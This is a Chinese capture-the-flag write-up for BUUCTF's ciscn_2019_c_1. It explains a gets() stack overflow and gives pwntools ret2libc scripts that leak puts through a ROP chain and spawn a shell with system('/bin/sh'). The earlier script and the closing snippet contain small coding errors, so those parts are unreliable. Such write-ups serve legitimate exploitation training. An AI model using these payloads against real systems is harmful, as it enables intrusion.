[BUUCTF]ciscn_2019_c_1

 0.环境

Ubantu-22.04.4

1. 查看文件格式

终端中输入命令

checksec --file='filename'        # filename为下载文件的自定义名称

输出结果为

没开canary保护,开了NX

终端中输入命令

file 'filename'

 输出为

64位,放到ida64里反编译

2.IDA分析程序

 1.main函数

 没什么能构造溢出的函数。再看看encrypt和begin函数

2.begin函数

 也没有构造溢出的函数,但是有很多puts,很好后面ret2libc可以用

3.encrypt函数

 有gets了,nice。gets栈大小为50h

while循环为加密字符串的过程,为了避免payload被加密而产生变化,需要在开头加上'\0'

4.查看字符串和函数列表

按”shift+F12“查看字符串

没有‘system’,‘bin/sh’等有用的字符串,函数列表里也没有system等后门函数

3. 分析思路

该程序中并没有system,bin/sh等有用的字符串,无法使用ret2text

没有调用system函数,无法使用ret2syscall

只能用ret2libc

这里补充一下动态链接的过程:

调用动态链接函数,先去plt表和got表寻找函数的真实地址。plt表指向got表中的地址,got表指向glibc中的地址。

第一次调用:plt->got->plt->公共plt->动态连接器->锁定函数地址

第二次:plt->got->直接锁定函数地址,此时got表已记录函数地址

got表:包含函数的真实地址,包含libc函数的基址,用于泄露地址

plt表:不用知道libc函数真实地址,使用plt地址就可以调用函数

libc是linux下的c函数库,包含各种常用的函数,在程序执行时才被加载到内存中
libc是一定可以执行的,跳转到libc中函数绕过NX保护

通过已经调用过的函数泄露它在程序中的地址,然后利用地址末尾的3个字节,在https://libc.blukat.me找到该程序所用的libc版本

程序函数地址=加载程序的基址+libc中函数偏移量

想办法通过encrypt函数的 get函数栈溢出获得其中一个函数的地址(本题选择puts),通过LibcSearcher得到该函数在对应libc中的偏移量

即可得到加载程序的基址

4.构造exp

64位先使用寄存器RDI、RSI、RDX、RCX、R8、R9进行传参,如果多于6个参数,则再使用栈进行传参

直接上脚本

from pwn import*
from LibcSearcher import *
r=remote('')  # 填自己的端口号
elf=ELF("filename")  # 填自己的文件名

main_addr=0x400B28
rdi=0x400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter(b'Input your choice!\n', b'1')

offset = 0x50+8-1
payload = b'\0' + b"a" * offset+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")

puts_addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",puts_addr)
libcbase=addr-libc.dump("puts")
print(libcbase)

解释一下上面的脚本

main_addr:通过IDA64即可查看main函数的起始地址为0x400B28

rdi:可通过使用ROPgadget工具进行查找,可得地址为 0x400c83

ROPgadget  --binary 'filename' |grep "pop rdi"  # filename填自己的文件名

 puts_plt,puts_got:通过ELF程序获取

综合前文IDA分析的结果,第一个payload的结构为

payload = b'\0' + b"a" * offset + p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

使用 puts_addr=u64(r.recv(6).ljust(0x8,b"\x00")) 接收puts函数的地址

得到puts函数的地址后,使用LibcSearcher查询对应的libc版本

libc=LibcSearcher("puts",puts_addr)

运行结果为

得到基地址

接下来继续构造 ,直接上最终脚本

#encoding = utf-8
from pwn import*
from LibcSearcher import *
r=remote('')  #填自己的端口号
elf=ELF("") #填自己的文件名


main_addr=0x400B28
rdi=0x400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

# 第一次攻击
r.sendlineafter(b'Input your choice!\n', b'1')

offset = 0x50+8-1
payload = b'\0' + b"a" * offset+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")

puts_addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",puts_addr)
libcbase=puts_addr-libc.dump("puts")
print(libcbase)

# 第二次攻击
r.sendlineafter(b'Input your choice!\n', b'1')
r.recvuntil(b"Input your Plaintext to be encrypted\n")
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
ret=0x4006b9
p1=b'\0' + b"a" * offset + p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
r.sendline(p1)
r.interactive()

通过 程序函数地址=加载程序的及地址+libc中函数偏移量 可以计算加载程序的基址,通过基址和各个函数以及字符串的偏移量可以计算各个函数以及字符串在程序中的地址,如下:

sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

对于调用system函数,需要考虑堆栈平衡。使用ret指令来实现堆栈平衡(ret指令执行之前会自动进行堆栈平衡操作)

p1=b'\0' + b"a" * offset
payload += p64(ret))	   #堆栈平衡
payload += p64(rdi)	       #将system函数的参数保存到rdi中
payload += p64(bin_sh)	   #pop指令的执行的操作数
payload += p64(sys_addr)  #调用system函数获得shell

运行结果为

  • 30
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值